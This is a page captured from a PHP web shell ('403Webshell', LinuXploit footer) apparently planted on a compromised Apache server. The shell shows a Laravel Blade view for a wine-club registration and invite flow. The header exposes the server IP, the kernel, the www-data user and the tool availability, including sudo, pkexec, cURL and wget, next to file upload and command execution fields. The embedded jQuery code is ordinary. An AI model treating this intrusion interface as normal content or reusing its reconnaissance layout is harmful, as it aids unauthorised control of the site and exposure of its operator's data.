403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/resources/views/confraria/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/resources/views/confraria//confraria-cadastro.blade.php
@extends('layouts.confraria')

@section('content')

<div class="wrapper criacao">
    <div class="box-criacao" id="box-criacao">
        @include("confraria.confraria-cadastro-step-01")
    </div>
</div>

<script type="text/javascript">
    $(document).on('ready', function(){
        $(document).on('click', '[data-next-step]', function(){
            var step = $(this).attr('data-next-step');

            if($('#conf-name-visual').val().length > 0){
                $('[name="nome_conf"]').val($('#conf-name-visual').val())
            }else{
                alertUtil.alertError("Digite um nome para sua Confraria");
                return false;
            }

            if(step == 2){
                $('.criacao-steps div.active').addClass('finished');
            }else{
                $('.criacao-steps div.finished').removeClass('finished');
            }

            $('.step-box.active, .criacao-steps div.active').removeClass('active');
            $('.step-box[data-step="' + step + '"], .criacao-steps div.step' + step).addClass('active');
            
            var title = $('[data-title-' + step + ']').text();
            var subtitle = $('[data-subtitle-' + step + ']').text();
            $('.criacao-top h2').text(title);
            $('.criacao-top p').text(subtitle);
        });

        $(document).on('click', '[data-add-amigo]', function(){
            var $clone = $('.list-inputs .input-box:first-child').clone();
            var number = $('.list-inputs .input-box').length + 1;
            $clone.find('label span').text(number);
            $clone.addClass('clone');

            $($clone).find('input').val('');
            $('.list-inputs .btn-text').before($clone);
        })

        $(document).on('click', '.delete-conf', function(){
            $(this).closest('.clone').remove();
        })

        $(document).on('click', '.copy-link-input', function(){
            $(this).select();
            document.execCommand("copy");
            alertUtil.alertSuccess("Copiado com sucesso!");
        })

        $(document).on('click', '[data-copy-link]', function(){
            $('.copy-link-input').select();
            document.execCommand("copy");
            alertUtil.alertSuccess("Copiado com sucesso!");
        })

        $(document).on('click', '#submitConf', function(){

            let form = $('#form-cadastro-conf').serialize();

            $.ajax({
                url: "/confraria/enviar-convites",
                type: "post",
                data: form,
                beforeSend:function(){
                    $('.carregando').fadeIn();
                },
                success:function(data){
                    $('.carregando').fadeOut();
                    if(data.status){

                        alertUtil.alertSuccess(data.mensagem);
                        setTimeout(function(){
                            return window.location.replace(data.redirect);
                        }, 1000);

                    }else{
                        return alertUtil.alertError(data.mensagem);
                    }
                },
                error:function(data){
                    $('.carregando').fadeOut();
                    alertUtil.alertError('Erro ao enviar Convites. Tente novamente mais tarde.');
                }
            });
        });

        $(document).on('click', '#accessConf', function(){
            return window.location.replace('{{ url('/confraria/home') }}');
        });

        $(document).on('click', '#btnBackStep01', function(){

            $.ajax({
                url: "/confraria/cadastro-step-01",
                type: "post",
                beforeSend:function(){
                    $('.carregando').fadeIn();
                },
                success:function(data){
                    $('.carregando').fadeOut();
                    if(data.status){
                        $('#box-criacao').html(data.html);
                    }else{
                        return alertUtil.alertError(data.mensagem);
                    }
                },
                error:function(data){
                    $('.carregando').fadeOut();
                    alertUtil.alertError('Erro ao voltar para confraria. Tente novamente mais tarde.');
                }
            });
        });

        $(document).on('click', '#btnSaveConfraria', function(){

            let nome_conf = $('#conf-name-visual').val();

            $.ajax({
                url: "/confraria/cadastro",
                type: "post",
                data: {nome_conf: nome_conf},
                beforeSend:function(){
                    $('.carregando').fadeIn();
                },
                success:function(data){
                    $('.carregando').fadeOut();
                    if(data.status){

                        alertUtil.alertSuccess(data.mensagem);
                        $('#box-criacao').html(data.html);

                    }else{
                        return alertUtil.alertError(data.mensagem);
                    }
                },
                error:function(data){
                    $('.carregando').fadeOut();
                    alertUtil.alertError('Erro ao criar confraria. Tente novamente mais tarde.');
                }
            });
        });

    });
</script>

@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit